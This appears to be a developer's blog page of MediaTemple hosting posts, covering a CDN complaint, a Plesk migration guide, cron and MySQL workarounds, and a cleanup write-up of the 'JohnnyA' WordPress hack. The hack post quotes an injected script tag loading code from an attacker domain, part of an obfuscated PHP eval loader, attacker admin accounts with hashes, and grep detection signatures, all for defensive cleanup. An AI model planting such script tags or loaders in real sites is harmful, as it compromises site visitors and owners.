Netscraps

A windsurfing, CSS-grudging, IE-hating, web-developing, gigantic-machine-puzzling blog

Category: MediaTemple

MediaTemple TrueSpeed CDN Control Panel Is Not What You Think

By

On March 30, 2016

In awful usability, MediaTemple

This is MediaTemple’s sales page for their TrueSpeed™ CDN, which is a rebranded product operated by SiteLock.com:

MediaTemple TrueSpeed CDN Sales Page

Sounds great & what a deal, right? I thought so. Note the “integrated control panel”. Here’s what you actually get for the control panel:

Only having on/off & purge-all controls is not the right way to manage a CDN, in the same way that driving using only the ignition switch & yelling “get the fuck out!” to all passengers is not the right way to drive a bus.

Hopefully this guy from the TrueSpeed CDN sales page is designing a new control panel.

This guy on MediaTemple’s CDN sales page is no doubt hard at work designing a real control panel.

With MediaTemple’s TrueSpeed CDN there are no traffic stats or reporting, & no asset purge controls except for all-or-nothing.

I had been using Edgecast ProCDN (through MediaTemple) which has a real control panel with nice purge controls & very detailed traffic stats/reporting.

If you sign up for the same CDN through SiteLock.com & not via MediaTemple, you get a much more capable control panel with all the features you’d expect for managing a CDN, but you’ll probably pay more than $30/month.

I think MediaTemple’s TrueSpeed CDN is still a good deal & no doubt they have plenty of customers who don’t need CDN stats or any real controls.

But MediaTemple should be far more upfront about what customers actually get for the “integrated control panel”. Maybe they should call it what it is: “integrated on/off/purge buttons”.

In lieu of MediaTemple being upfront about it, now you know!

Migrating MediaTemple’s GridServer (GS) to Dedicated Virtual (DV) VPS

By

On March 28, 2016

In MediaTemple, tips

I recently moved lots of websites off MediaTemple’s GridServer (gs) platform to their Dedicated Virtual (dv) platform. I’ve kind of abused Grid Server for the past 12 years, but finally the overage fees caught up.

I went with the Plesk 12.5/CentOS6 hosting option one year later, I upgraded DV accounts & did this all over again for Plesk Onyx 17/CentOS7. The standalone DV server was tempting but I don’t quite know enough about Linux admin to go that route.

Here were some of the bigger migration issues going from MediaTemple’s GridServer (gs) to Dedicated Virtual/VPS (dv) service.

Plesk doesn’t come with root enabled.

Chances are you’ll need to enable root, which is done through AccountCenter. At first I tried not to enable root but there’s just too many fixes/workarounds that you can’t do without root access.

Plesk creates websites with the web directory set to httpdocs/

…Whereas GridServer uses html/ for the top-level web directory. I prefer the shorter “html”, & I really don’t like changing things like this in Git which we use for development. Luckily it’s easy to change how Plesk works here.

THE FIX: In Plesk, click on your domain & click Hosting Settings. Change Document Root to html/. Plesk will create html/ but leaves httpdocs/ so you’ll have to delete httpdocs/ manually.

Note: for the rest of this post I’ll continue to reference “httpdocs/” for consistency.

Plesk puts cgi-bin/ as a subdirectory of httpdocs/

In other words, Plesk uses httpdocs/cgi-bin/. GridServer had cgi-bin/ at the same level as html/. So basically if you’ve used Git for years like we have, you can either move the folder in Git & hope the history stays or change how Plesk works. Moving the folder & keeping the Git history is possible, but messing with Git gives me the creeps.

THE FIX: Create cgi-bin/ where you want it & set permissions using chmod 755 cgi-bin/. It’s probably good to follow Plesk convention where top-level web directories are assigned to the psacserv group so chgrp psaserv cgi-bin/ too. This worked with Plesk 12 under CentOS6, but Plesk Onyx under CentOS7 requires cgi-bin/ to stay assigned to the psacln group or else Perl scripts running under Apache mod_cgi will return the 500 error “End of script output before headers” (thank you MediaTemple CloudTech Supervisor Gary R for figuring that out).

Then in Plesk under the domain, click Apache & nginx Settings. Scroll to the “Additional Apache Directives” section and add:

ScriptAlias "/cgi-bin/" "/var/www/vhosts/domain.com/cgi-bin/"

I found out Plesk directly supports moving cgi-bin to the www-root level & doesn’t need a ScriptAlias added manually. Run these commands:

/usr/local/psa/bin/domain -u domain.com -cgi-mode www-root
/usr/local/psa/admin/bin/httpdmng --reconfigure-domain domain.com

In Plesk under Hosting Settings, now you’ll see a select box:

Finally click Hosting Settings & disable “Perl”. It’s not what you think. This Plesk option actually disables mod_perl, & does not disable “regular” mod_cgi Perl.

Mod_perl is very efficient but typically requires porting over your Perl scripts, or else it can wreak havoc, as described in pretty much the entire porting guide.

Fun fact: The Plesk “Perl” option isn’t tied to the cgi-bin/ location. It only updates <Directory> options for the httpdocs/ folder — you can watch Plesk change the setting in vhosts/system/domain.com/conf/httpd_ip_default.conf — so if you’ve moved cgi-bin/ out of httpdocs/ to the www-root level, it won’t actually matter whether or not you disable the “Perl” option in Plesk.

Last step is to delete the now-defunct httpdocs/cgi-bin/ directory.

Plesk creates websites directories with a bunch of default & testing files.

THE FIX: SSH to your account, change to the website directory & rm -rf html/*. I’m assuming you know enough about Linux to realize this deletes everything in html/ so make sure you haven’t uploaded the website files you want to keep, yet.

Plesk sets up subdomains as subdirectories of the parent website.

In other words, Plesk creates domain.com/httpdocs/subdomain.com/. This sucks. Luckily, easy fix. When adding the subdomain site in Plesk, pick the primary domain option rather than the subdomain option. Ignore the “www” prefix. The subdomain site will work fine & you’ll just have an extra domain alias for www.subdomain.domain.com in nginx & Apache that won’t be used.

Plesk forces you to create a different user for each web site.

The files all get assigned to that user, & group psacln. The httpdocs/ directory is also assigned to the same user, & group psaserv. So, users can’t browse each others’ web folders. By default, with Plesk you can’t have an FTP account that has access to multiple web sites, which is what I needed since we use one Git repository deployed via BeanStalk to manage ~30 very similar websites with shared resources.

THE FIX: First su root & grant the psacserv group to ssh/ftp users that you want to have access to the full range of web directories (but not root privileges): usermod -a -G psaserv username — this just adds psacserv as a secondary group & the primary group stays psacln — so any new files created via these accounts will still fit the Plesk convention.

I set up one user for SSH & FTP with access to all website directories. If you go that one-user route rather than the Plesk-created users for each website, reset directory & file ownership to your super-web-user with: chown -R username:psacln * That chown operates recursively starting from the current directory, so run that only from within html/ and cgi-bin/ because otherwise it will try to reset ownership on your system files, log files & other non-public stuff that should probably stay assigned to root.

Similarly depending on how you upload/migrate your web files, you may need to set correct permissions on files & directories within html/:

find . -type f -exec chmod 644 {} +
find . -type d -exec chmod 755 {} +

(Execute these commands only from within the directories you want affected.)

For cgi-bin/ you’ll probably want to chmod 755 script files rather than 644, so your scripts (Perl in the example below) have world-read/execute permissions:

find . -type f -name '*.pl' -exec chmod 755 {} +

Final step is have each web property execute CGI scripts as your one user. For each domain’s Apache & nginx settings, in “Additional directives for HTTP “, add:

SuexecUserGroup "username" "psacln"

Plesk sets each FTP user’s home directory to within a web directory.

Again we use Git/BeanStalk with several repos that manage groups of similar websites, so I needed an FTP login for BeanStalk to have access to the vhosts/ directory where all the website directories are located.

THE FIX: You can change the home directory for your FTP user in bash through the normal way, & Plesk doesn’t care:

usermod -d /var/www/vhosts/ username

Plesk runs all cron jobs as root.

Any files that your cron job creates get root user permissions & are not available to the web server users. Plesk shows the cron user as root, but it’s not anything you can change. Yes, this is lame.

THE FIX: Have each cron run a shell script that uses su, sudo or runuser to switch to the web-level user first. For example, have the cron run a shell script with:

/sbin/runuser username -s /var/www/vhosts/domain.com/cgi-bin/somescript.pl

Or you could have each cron job command (each entry in Plesk) start with one of the user-switching methods. But since cron commands become the email subject for status notifications, the subject line would start with “runuser” etc all the time.

Plesk doesn’t serve web font files correctly by default.

We serve css & web fonts from a different domain than the main website, so we need to have an access control header to allow that. The standard code is:

<FilesMatch "\.(ttf|otf|eot|woff)$">
<IfModule mod_headers.c>
    Header set Access-Control-Allow-Origin "*"
</IfModule>
</FilesMatch>

This worked great on GridServer in .htdocs, but didn’t have any effect after we migrated to Plesk. As far as I can tell, mod_headers is enabled by default so that’s not the problem. Eventually I noticed the response header for the web font files was nginx & not Apache. I got it working by going into Apache & nginx Settings for the domain & disabling “Smart static files processing”. I think what’s happening is without the second box checked that defines specific extensions, nginx serves font files by default so the request never makes it to Apache.

Even if it works for you to have nginx serve your font files, I found nginx serves them as text/plain so under the MIME types section at the top of the same screen, it might help to add:

font/ttf .ttf
font/opentype .otf
application/font-woff .woff
application/vnd.ms-fontobject .eot

MediaTemple warns that you’ll lose all your (gs) IMAP email as soon as you click Point At Another Server in AccountCenter.

FIX: True, but you can still switch your site over to (dv) without losing old email. Instead of clicking Point At Another Server, go about adding/migrating your site & ignore Plesk’s DNS warning. Then when you’re ready to switch web traffic over, in AccountCenter, edit DNS & change the A records from your (gs) IP to your (dv) IP.

Make sure you have email set up in Plesk before switching A records, because although you won’t lose your old email, new email will start going to your (dv) accounts.

This way although your domain gets switched over to (dv), you won’t lose your old (gs) email because you can still access it through your gridserver domain (sXXXXXX.gridserver.com) or xxxx-xxxx.accessdomain.com. If you’re not sure what these are, in AccountCenter, click on Server Guide for your grid server & look at the Email section.

Incidentally migrating IMAP email is really easy with Thunderbird. Add your new IMAP account, select all the folders in your old account, drag over to new & you’re done. Then do the Point At Another Server thing.

Plesk doesn’t come with cpan or any Perl modules (or gcc).

I’m a dinosaur, I guess. The “yum” installer does have a bunch of Perl modules available but is missing lots of the common modules I use. Cpan works fine for me. Luckily you can use yum install install CPAN & gcc:

yum install perl-CPAN
yum install gcc

BEFORE YOU RUN CPAN: the yum-installed CPAN adds some environment variables to ~root/.bashrc which sets cpan to install Perl modules under root rather than in one of the @INC locations, so fix that by deleting the added lines in .bashrc & also delete ~root/perl5/ and ~root/.cpan/. Then run cpan setup & picking “lib::local” should put Perl modules into a web-accessible lib/ directory.

Using cpan to install GD doesn’t work.

Cpan aborts with an error message: Could not find gdlib-config in the search path. Please install libgd 2.0.28 or higher. I’m not a sysadmin & didn’t want to mess with this. Easy fix — use “yum” to install GD instead:

yum install gd

Mod_perl under CentOS7 behaves inconsistently compared to the CentOS6 Perl CGI environment.

With CentOS7 the only way I could get Perl scripts working via Apache was to use mod_perl, & with mod_perl the output/success of Perl scripts is inconsistent due to the way mod_perl compiles our Perl scripts that weren’t specifically coded for mod_perl. Generally the first request is successful while subsequent requests fail.

The big problem I ran into was when global subroutines defined in our custom modules are loaded via require("somemodule.pm"), the error log shows “undefined subroutine”. I believe this is why (in my case, it’s scenario 3).

Added bonus, under mod_perl, relative paths don’t work. I could work around that if I had to, but the custom module problems are a deal-killer.

Still troubleshooting. This sucks.

The MT sales rep set up the (dv) account with a made-up domain.

The issue here is my rep felt they needed to put down something temporary while I got started with the site migration. I don’t think the fake domain was a good idea because it caused problems. The second time I went through this DV account switch, the rep used my primary domain for setup & everything worked just fine. The fake domain isn’t just for a name in AccountCenter, which is what tech support first told me.

The fake domain gets set as Reverse DNS for your new (dv) service IP address, which can cause your IP to get blacklisted for email. Minor detail, yep.

THE FIX: As soon as you get your primary site migrated over, fix the Reverse DNS (AccoutCenter, DNS section). Then change the primary AccountCenter domain for your (dv) account to your real domain – that’s hidden in AccountCenter under Server Guide.

Workaround For MediaTemple’s Lame Gridserver Cron Job Limitation

By

On March 27, 2016

In awful usability, MediaTemple, tips

MediaTemple limits their GridServer (GS) customers to only 5 cron jobs.

Some restrictions make sense … some don’t!

This makes absolutely no sense.

MediaTemple allows cron jobs to run as often as every 5 minutes … I needed more than 5 weekly processes, which put no strain on the server compared to someone who sets up 5 jobs to repeat every 5 minutes.

Limits on cron jobs by run frequency would be far too logical.

As a workaround, combine all your weekly crons into one daily job, your daily crons into an hourly job, etc. Then create a shell script that uses date logic tests to branch out to different jobs, based on the day of the week or hour of the day.

For example, here’s a daily cron script that branches out into weekly jobs:

if [ $(date +%u) -eq 1 ]; then ./monday.pl
elif [ $(date +%u) -eq 2 ]; then ./tuesday.pl
elif [ $(date +%u) -eq 3 ]; then ./wednesday.pl
....
elif [ $(date +%u) -eq 7 ]; then ./sunday.pl
fi

If you don’t have a job for every day of the week, just leave out the logic test for that day & the cron script will exit without running anything further.

Similarly with a cron script set to run hourly, you can test the hour to run up to 24 different daily jobs (one for each hour):

if [ $(date +%k) -eq 0 ]; then ./twelve-oclock-am.pl
elif [ $(date +%k) -eq 1 ]; then ./one-oclock-am.pl
elif [ $(date +%k) -eq 2 ]; then ./two-oclock-am.pl
....
elif [ $(date +%k) -eq 23 ]; then ./eleven-oclock-pm.pl
fi

Taking this to the extreme, in theory you could use an every-5-minutes cron job to test $(date +%M) and run up to 12 different jobs per hour. And it goes without saying you can combine these day/hour/minute logic tests to create 2,016 possible combinations, or throw in some $(date +%d) day-of-the-month tests for 62,496 possible cron jobs. Take that, MediaTemple-cron-limitation-type people!

Obviously the script names in the examples above (monday.pl, twelve-oclock-am.pl, etc) can be changed to anything you want.

I’m not on MediaTemple’s GridServer platform anymore, but hope this helps someone. I switched to a their DV/VPS platform & promptly discovered they assigned a blacklisted IP to my account. So far they are refusing to fix it. Good thing MediaTemple doesn’t sell cars.

UPDATE: To their credit, MediaTemple finally saw the logic in providing new accounts with non-blacklisted IPs, so that’s good.

Lost Connection To MySQL Server on MediaTemple Grid Server

By

On February 25, 2011

In bugs, MediaTemple, mysql, perl

I’ve been a MediaTemple Grid Server (gs) customer since it was released. From the beginning, Mediatemple has had MySQL problems with “Lost connection to MySQL server during query at [script name] [line number]” errors.

I have several system update Perl scripts for CarComplaints.com that I run as cron jobs or from the command line that take a few minutes to run. They access a MySQL database via the standard DBI Perl module. Maybe 1/3 of the time, the mysql connection is lost 2-3 minutes into the update.

I’ve ignored MediaTemple’s lost mysql connection problem for years. Lately though, the dropped connection errors have become more of a headache so I decided to do some troubleshooting.

I upgraded from the MediaTemple MySQL SmartPool to a MySQL Container & played around with the various mysql config timeout settings, but there was no change in when & how often the lost mysql connections occurred. Everything pointed to a connectivity issue with MediaTemple’s service.

Next move was to contact MediaTemple support about the issue. MediaTemple has a pretty good reputation for customer service. Wow. Turns out lost MySQL connections are their Achilles’ heel.

First they blamed slow mysql queries. I pointed out the scripts encountering the error are not public-facing, so 300,000 queries or 1 query that evaluates 300,000 rows in one shot makes no difference. All my slightly “slow queries” are for good reason — the tables have the proper indexes, etc.

Next they blamed cron job processing limitations. I reiterated that the lost mysql connections errors happen just as often when the script is run manually from the command prompt, & that the errors occur very inconsistently indicating a time/cpu limit is probably not involved.

Finally they combined both theories (!!) to suggest the lost mysql connections were “a problem with MySQL optimization” & also that I may be “overloading the GridContainer” by running scripts concurrently with cron jobs … definitely not happening.

And the kicker from MediaTemple support tech “Joel M.”:

Please note that (mt) Media Temple only supports the basic operation and uptime of your (gs) Application Container Technology.

… conveniently implying that lost mysql connections on the GridServer were not an issue of basic operation & uptime. I’d love to hear the logic behind that one.

At that point I decided my time would be better spent coding a way around MediaTemple’s Grid Server / MySQL / tech support shortcomings.

I wrote a MySQL reconnection handler so that it reconnects a few times before giving up. So far so good.

Here are more people experiencing this same problem with lost mysql connections on Mediatemple.

MySQL.com has some advice about “Lost connection to MySQL server” errors:

Usually it indicates network connectivity trouble and you should check the condition of your network if this error occurs frequently. If the error message includes “during query,” this is probably the case you are experiencing.

JohnnyA Hack on MediaTemple grid server

By

On August 7, 2010

In bugs, MediaTemple, mysql

Noticed malware warning messages thanks to Google Safe Browsing, when viewing several of my websites hosted on MediaTemple’s Grid Server (gs) account.

Did some searching & found it’s a widespread attack on MediaTemple. MediaTemple lets (gs) customers host up to 100 domains under one account for the low-low price of $20/month … pretty great, until you have to figure out the path of entry for a hacker.

Although thankfully so far it’s not actually destructive, the “JohnnyA” hack is a mess (like any good hack!):

  • Javascript files had malicious obfuscated code inserted at the top of the compromised files. For my site the hackers targeted the jQuery library, jQuery plugins (corner, impromptu, etc), & swfobject.js that came bundled in the cu3er WordPress theme.
  • PHP files of 5298 bytes were spread all throughout the site structure, named for Unix functions: chmod.php, closedir.php, content.php, eregi.php, fclose.php, fopen.php, fwrite.php, is_file.php, is_writable.php …. all were located under html/ (not cgi-bin/) so they were especially easy to locate & delete.
  • WordPress default theme index.php & footer.php (someone else mentioned their header.php was also compromised) had malicious Javascript code added.
  • WordPress posts had malicious code added to the top:
    <h5><script src="http://maroon.karenegren.com/js/jquery.min.js"></script></h5>
  • WordPress databases had “johnnyA” & “WordPress” admin users added to the wp_users table, as well as entries under wp_metauser with what looks like some sort of evil admin interface HTML/Javascript code. Here is my hacked WP users table: 
    +----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email                | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+
| 14 | johnnyA    | $P$BWrPjMxeckS8Qjhhd.3CqhhpM5c5G3/ | John          | sarkonerr@gmail.com       |          | 0000-00-00 00:00:00 |                     |           0 | John         |
| 12 | WordPress  | 3e04a6d10c88e6f5818a2a4151f9a95c   | WordPress     | www@www.com               | www.com  | 0000-00-00 00:00:00 |                     |           0 | WordPress    |
|  1 | admin      | [censored]                         | admin         | [censored]                | http://  | 2006-10-23 13:24:13 |                     |           0 | netscraps    |
+----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+

Cleanup took awhile — see below. I also changed my MediaTemple AccountCenter password, my user (SSH/SFTP) account passwords, database passwords, moved all my WordPress installations off to a new, completely separate (not linked in AccountCenter) MediaTemple grid server account, & signed up for Sucuri’s website malware monitoring service …. because of all the recent hack problems, MediaTemple customers receive a discount. Great. Here’s hoping it catches any hacks before Google Safe Browsing does.

The posts below have a lot of information on various ways to scan for the compromised files but so far I haven’t seen anything definitive in terms of how to prevent this all from happening again. Definitely read the posted comments too:

Here are the steps I took to remove the exploits:

Find compromised Javascript files:

  • find . -name "*.js" -exec grep -l "gr0=0" {} \;
  • find . -name "*.js" -exec grep -l "this.n=3279;this.O=58441;" {} \;

… Both searches returned the same results for me. The evil Javascript was the top line of each file, very long mostly obfuscated code ending with var gr0=0; The evil top line didn’t have its own newline character at the end, so be careful not to remove the ENTIRE top line without checking first that you’re not removing legitimate code way at the end of the line.

Find evil PHP files:

  • grep -iR --include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" *
    This search may show false positives. Look for matches that look like:
    <?php $o = '[random characters here];eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); ?>
  • Another way to check is:
    find . -name "*.php" -ctime 14
    …which shows a list of .php files where the timestamp is within the last 14 days.
  • If the file is 5298 bytes, chances are the entire file is junk & you can delete it.
  • Otherwise if the file is something that was pre-existing (like WordPress theme header.php, index.php etc) you’ll have to edit it & remove the bad code by hand or better yet, replace the entire compromised file with a clean version from a backup or original distribution.

Find evil WordPress users:

  • You’ll need mySQL access to your WordPress database for this. You are on your own there.
  • use dbxxxxxx_wp; (whatever your WordPress database is named)
  • select * from wp_users; (note the id for all users you don’t recognize)
  • delete from wp_users where id = 'xx'; (replace xx with the id, & remember each one you delete)
  • delete from wp_usermeta where user_id = 'xx' (do this once for each userid you deleted above)

Find evil WordPress posts:

  • select post_content from wp_posts where post_content like '%<h5><script%';
  • update wp_posts set post_content = replace( post_content, "<h5>script here</h5>", ""); …run this once for each unique script found above, replacing “script here” with the actual script tag.

Powered by WordPress & Theme by Anders Norén